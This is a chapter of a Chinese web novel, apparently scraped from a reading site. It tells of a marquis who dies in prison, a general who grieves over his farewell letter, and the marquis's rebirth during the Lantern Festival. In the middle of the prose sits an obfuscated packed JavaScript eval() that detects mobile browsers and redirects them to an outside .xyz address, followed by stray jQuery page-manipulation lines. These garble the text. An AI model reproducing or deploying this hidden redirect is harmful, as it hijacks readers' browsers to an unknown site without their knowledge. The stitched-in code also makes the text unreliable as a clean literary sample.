明和九年冬，北方小年。


    皇宫的天牢内阴暗潮湿，弥漫着一股霉馊味和腐烂的尸臭味，时不时响起哀吟与惨叫。


    一只耗子从过道窜出去，钻进一间脏乱恶臭的牢房，与同伴分食着地上的腐肉。


    走廊尽头只有一间关着人，里头时不时传出咳嗽声。


    那间牢房干净整洁，墙边的木床上还铺了被褥。


    来送饭的小狱卒喊了一声，等了会没听见里面的动静，伸脖子向里头多看了一眼。


    木床上坐了个人，柔软的长发散乱垂落，看不出男女。


    狱中很冷，这人瑟瑟发抖，勉强维持着仪态，正襟危坐，若不看单薄的囚衣，倒像是修养不俗的世家子女。


    瘦弱的身躯看不出受刑的痕迹，唯有的伤便是指节上冻疮和踝腕上被镣铐磨出来的青紫瘀痕。


    小狱卒想，应该是哪个有权有势的贵族犯了重罪，家里人打点过，好让这最后一程不至于太难看。


    “咳咳……”


    这人咳个不停，小狱卒眼尖瞧见他满手是血，连忙离远，生怕染上什么痨病。


    他回到班房，耐不住好奇，向前辈打听。


    身边的狱卒灌了口酒，砸吧着嘴：“那个啊，你刚来不知道也正常，那关的是武安候夫人。”


    “侯夫人？一个女子能犯什么杀头的大错。”


    “嘿小子，这你都不知道，当初可闹得满城风雨。”


    “这个侯夫人，是个男子，据说还是个侯爷，要说犯了什么罪嘛……”他左右打量，一脸神秘，凑到小狱卒耳边，“那可是……谋反！”


    说到末尾俩字，他故意压低声音。


    小狱卒一脸吃惊，他从乡下来的，哪知道京城里的新鲜事，挠了挠后脑勺想继续打听。


    岂料对方拒绝再说，谨慎地叫他附耳过来：“可不敢说，小心叫别人听了去，你看咱们什么时候给这些犯人送过长寿面啊？”


    给死刑犯送长寿面，确实没听说过。


    小狱卒收敛起来，深知好奇心害死猫，二人不约而同换了个话茬。


    那边侯夫人咳得撕心裂肺，血迹从指缝间流出，他不甚在意往被子上一抹，没抹干净。


    他微微偏过头，看了一眼门口的饭，胃里顿时翻江倒海，没忍住干呕了两下，没丁点胃口，身上也腾不出力气，虽然知道不吃会更没力气。


    索性阖眸靠在墙上，想要休息一会儿，原本顺滑的长发如今干枯还沾着血，像他的主人一样灯枯油尽，那比墙还灰白的面容没有一丝血色，唯有没擦干净的唇角沾了点生气。


    他自嘲地想，也不知这副残躯能否撑到斩首之日。


    转念又觉得这个问题太没意义，开始想些别的，苦中作乐。


    要是下去见着自明，得和自明说英英总不听话，但又怕告了状英英会怪他。


    老师那身子也不知道能不能经得住白发人送黑发人。


    但愿虞欢不要以卵击石，替他寻仇。


    还有宁儿，宁儿应当长高了不少。


    ……


    吴钧有没有看见他的遗书，不能浪费他费尽心思写的东西。


    ……好累。


    一股疲倦感席卷而来，他哑声笑了笑，身上的冷意不似先前那般强烈，口中与鼻腔充斥着血腥味。


    不过他早就被鲜血浸透，分辨不清了。


    五感逐渐模糊，在最后的清明中，他恍然看清了门口摆着的东西。


    ——一碗长寿面。


    走马观花，庸庸无为，他的视线透过石壁看到了狱中狼狈的自己，观过这最后一花。


    好不甘心。


    无尽的夜空大雪纷纷扬扬，飘浮在虚空中，落入他的双眸。


    晶莹的雪花化作两行血泪，从眼角滑落。


    他的生辰，过完了……


    ——


    武安侯府。


    卧房窗边的书案前，男人负身而立，风雪被吹入屋内，缀在他发梢，融入银丝。


    吴钧细细摩挲着书案上的那本《忠经》。


    数日前，它的主人还安静地坐在里面，认真的翻看每一页。


    主人很珍惜这本书，即使书页微微泛黄，书角依旧完好，书封用皮革仔细地包着，看这新旧程度，似乎不久前刚换过。


    男人摸过书封的手顿了顿，指尖搓捻，有些蹊跷。


    他慢慢地拆开皮革，小心地避免着损坏纸张，怕他的主人回来看到后会生气。


    皮革被完全卸下，露出干净的封皮，和一个信封。


    一封书主人留下的信。


    吴钧静默地站在原地，没有动作。


    书的主人，是他的夫人，他冷落了许久，最终没能好好保护，替他顶罪入狱的夫人。


    许久，吴钧拿起信。


    信封之上，四个大字，云礼亲启。


    往日七斤的长剑在他手中轻如牛毛，不动如山，而今只是一封信，这双手便抖如筛糠，好似重逾千斤。


    良久，他缓缓打开。


    信上的字端正俊秀，如同其主人，君子之风，芝兰玉树。


    信上写道：吾夫云礼，展信佳。起初，本欲道一句，快雪晴时，佳想安善，兴许你阅信时，会心血来潮，默念一声，忽得兰信，欣喜若狂。


    君子所交，便不过如此。然，你我终究不是。早觉风雨欲来，此信应当为绝笔，且看且罢。


    吴云礼此人，狼子野心，负心薄幸之徒，可恶可憎。早知如此绊人心，何如当初一剑刃之，省却身后荒唐事。


    读信之人敛了衣袍，顺着桌案径直坐在地上，读到此，哑声失笑，风雪顺窗而入，他吸了口冷气，避开信纸闷咳两声。


    吴钧再往下看，笑意僵在脸上，他的夫人洋洋洒洒写了几页纸声讨他。


    他一目十行，信里其间引经据典，指桑骂槐的话铺了数段。


    吴钧靠在墙上，耳边似响起夫人病怏怏的声音，他冷冷看向自己，嘴上不饶人，骂着信里的话，比往日生机活力了许多。


    突然，对方说∶“难为将军能看到这儿了，吴大将军矫勇善战，十五便随军出征，十七南下平乱，三四载功成归来，未满一年又北上，可谓马不解鞍，鞠躬尽瘁，何其辛苦挣来个武安侯的位子，美名流传民间，子昕也曾倾羡。”


    “只可惜，最终鸟尽弓藏，你我不过殊途同归。”


    “出嫁前，子昕想将军该是文韬武略，怀瑾握瑜之人，断是不会比如今的处境再糟，岂可知将军这般叫人出乎意料。”


    吴钧目光所至，信纸湿了半截，有仇兰辞咳出的血，有他的泪。像是怕泪水晕了字墨，他默默拿远了些。


    他看见夫人推着门进来，几日没见的人儿脱去了平日厚重的裘衣，穿着一身青绿长衫，一如初见惊鸿，眷携春风，化了方圆的冰雪。


    对方虽嫌弃地轻轻蹙眉，但还是难得地一同坐过来，与他促膝。


    这是他们初次静坐对谈，和睦相安。


    身旁的人又道∶“陆世瞻之事，子昕不欲再究，终归是乏了，吴将军深谋远虑，铁石心肠，子昕不敢比。所幸已是一别两宽，只愿来世，不识君，不遇君。”


    吴钧想要辩解，但此事确实乃他的过错。


    房门外，蓝生踌躇了许久，眼眶湿红，像是哭过一场。


    一个月前，他的主子被带走时，他就开始常常不解，他的主子总是不争不抢，温柔待人，对他，对其他下人也都很好，这样的人怎么会通敌。


    而最是令他不解的是里面这位，曾经不见得他对主子多情深义重，现在人走了，天天闷在这间屋子里，黯然销魂。


    他最终轻轻推开房门，屋内一片昏暗，定睛之下，那位武安侯正失魂落魄地坐在地上，又哭又笑，声音沙哑，絮絮叨叨地念着手中的信。


    失去时才知追悔，何尝不是可怜。


    蓝生面有不忍，壮着胆子如实禀告着∶“侯爷，主子他……走了。”


    “噗！咳咳……”


    吴钧咳出一口鲜血，急切地用袖子遮住怀里的信纸，蓝生见状匆匆跑过来想要搀他起来，被回绝了。


    昔日威风凛凛的大将军，此时不修边幅，没个人形，双目猩红。


    他摆了摆手，蓝生意会，合门离开。


    吴钧用衣袖仔细擦干净手上的血，甲缝中都是血丝也不能幸免，他小心翼翼地重新拿起信。


    他的目光落在最后一段上，许久之后，轻笑出声。


    仇兰辞说：“倘若再逢，我仇兰辞必手刃之，而后了却此生，互不相欠。”


    “若不逢，愿你我各自安好，将军子孙满堂，有明君，安天下。”


    敬颂钧安。


    如今已鲜少有人再唤他将军，唯有子昕还执着于这个称呼。


    吴钧想，他的子昕真是天真可爱，又太过可怜。


    子昕郁郁半生，又被他负了半世，他这个恶人还顽固地要赎罪，即便子昕说不愿再遇见他，他还是奢求着，能在下一世重新缠上他。


    吴钧摩挲信纸，好似能透过这封绝笔碰到它的主人，他低下头，隔着指尖将额头贴在纸上，呢喃细语∶“子昕，你还没杀了我，等等我，你不是想我子孙满堂，好，我们子孙满堂。”


    子昕，等我——


    “子昕！”


    “吴将军怎么了！什么资信？军师那边有信儿了？”


    正直元宵佳节，北疆军营内灯火通明，副将薛琢守在主帐外和过路的士兵谈笑，突然听见他家将军的喊声，慌慌张张掀帘而入。


    吴钧坐卧在榻上喘着粗气，手无意识地按在心脏，风雪的寒凉穿越梦境，胡乱地拍打在脸上。


    他又梦见了那段最为不堪的过往，心脏好似被无数条锁链勒绞，窒息感席卷而来，骨肉好似被钳入链环之间的缝隙中，袭来的痛楚比箭伤来得猛烈千百倍。


    薛琢的破锣嗓子喊声太吵，他缓了会驱赶道∶“无妨，噩梦罢了，去替我拿纸笔来。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772488|157848||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    薛琢扶着这位战损将军，无奈劝着∶“诶呦将军你这受着伤呢，可别乱动了。”


    前日与敌军一战，将军打得十分激进，幸亏战术优势，逼退敌营，不过将军不慎身中暗箭，那些贼人太过阴险，还在箭头涂了毒。


    想到这，薛琢暗啐一口，一群蛮子。


    奈何吴钧执意起身，他胸前缠了几圈纱布，渗出的血迹已经干涸，随着动作又逐渐嫣红，副将拗不过只好去扶他坐到案前，墨色落纸，笔走龙蛇∶


    子昕，展信佳。


    北地春光尚晚，边城雪残，寒风凛冽。


    春到京城应雪尽，惊动灯期花信。


    兰兰，待到北地冬雪消尽，南望纸鸢扶摇，夫便归。


    莫急，莫怕，等我。


    薛琢站在边上，欠儿嗖地去偷看，只看见了最后俩字，纳闷道∶“写家书呢？不是属下说，将军你写了一沓子家书一封也不往回送，费那劲干嘛呢？”


    “滚。”


    “得嘞，遵命。”


    薛琢知道将军又在害羞，一副“就知道又是如此”的神情，挤眉弄眼，嘿嘿一笑挤出帐外，他可要跟兄弟们好好说道说道，乐呵乐呵。


    ——


    京中，朱雀大街上热闹非凡。


    街上来往叫卖声不绝于耳，小丫头一身红色小袄，系着雪白绒毛领，扎着两个荷包头，穿梭在人群之中，笑意洋洋，好生喜庆。


    “公子快来！这儿有社火！”


    她身后跟着两个人，走在后头的机灵活泼，穿着红对襟短褂，一副小厮打扮。前面这位温柔沉稳，一袭玉白长衫，神清骨秀，肩上的绛红大氅衬得美人愈发昳丽。


    美人眉眼藏郁，唇色浅粉，带着几分病气。


    此人乃昭平候，姓仇，名唤兰辞，字子昕。


    只是如今仇兰辞刚十八，未及弱冠，还没有字。


    那是他前世的表字。


    仇兰辞半月前于侯府的卧房中醒来，一入眼不是可怖的天牢，而是英英和自明焦急的脸。


    再次见到久违的人和物，他坐在榻上恍惚地想，好像……活下来了？


    来往人太多，摩肩接踵，欢声笑语唤回仇兰辞的思绪，他看着英英，出声唤道：“英英，慢些，别走散了。”


    小丫鬟闻言放慢了脚步，守在主子身侧，她家公子病了半月才刚好，可得好好护着。


    舞龙的鼓声落幕，演杂技的人换了一波，转眼双层花棚下熔炉点火，围观者向外退散，留出一大片空地。


    “公子！快看是打铁花！”


    “兰兰快看打铁花！”


    即便在人群外也看得清晰，一棒棒铁花冲天而起，伴着似曾相识的呼唤，将他带回八岁的上元夜，阿娘指着那火树银花，欣喜得比他还像个孩童。


    耀眼的火花随着每一次的挥舞而极致地绽放，似烈焰似飞雪，络绎不绝，又灿若繁星，误入尘世。


    万千星光中，铁水如墨，绘出了阿娘和阿爹的音容笑貌，转瞬又随着点点璀璨而烟消云散。


    好在夜里黯淡，没人发现他的颓丧。


    英英总是乐此不疲，看过打铁花后又兴致冲冲地拉着二人去猜灯谜。


    灯谜摊贩笑眼眯眯，拿着个兔儿花灯诱惑她。


    “小丫头，想不想要？来猜灯谜，猜对就归你。”


    英英瞪着杏眼，巴巴瞅着：“猜！”


    “这谜面嘛，星星照横川，打一字。”


    英英才十四，平日贪玩，不识几个字，此时愁眉苦脸，皱成了小包子，可怜巴巴地望向自家公子。


    “很容易，想想你在意之事。”


    “奴婢在意的事？糕点？糖水？”小包子突然灵光一现，扬眉吐气，“我知道啦！是兰！是公子！”


    “就知道吃，连公子都忘了。”小厮在身后笑话她。


    “略略略！”英英如愿以偿得到花灯，冲小厮做了个鬼脸，拉着仇兰辞的衣袖撒娇，“公子我们去放花灯呀？”


    那头小厮看热闹不嫌事大，挑拨道：“这儿就你有花灯，我们可不去。”


    “坏自明！谁要你去了！我要和公子去，我把我的花灯送给公子。”


    最后自明惜败英英，出手阔绰的仇公子又买了两个花灯，三人一道去了河边。


    “兰辞愿亲人安康，世人常在，平安喜乐，无忧无愁。莫是黄粱一梦，定会不负新生。”


    英英一脸好奇问道：“公子你许了什么愿呀？”


    仇兰辞摸摸她的脑袋：“说出来可就不灵验了。”


    英英撇嘴：“哼哼，神仙大人们才不会那么小气，奴婢希望公子可以健健康康的，希望奴婢可以一直陪着公子。”


    自明不服：“那我呢？”


    英英嬉笑着往仇兰辞身后躲：“谁管你啦——”


    回府路上，二人打诨插科，其乐融融。


    劫后余生也好，重蹈覆辙也罢，当下良辰，不必顾虑前路，也莫去追问来途。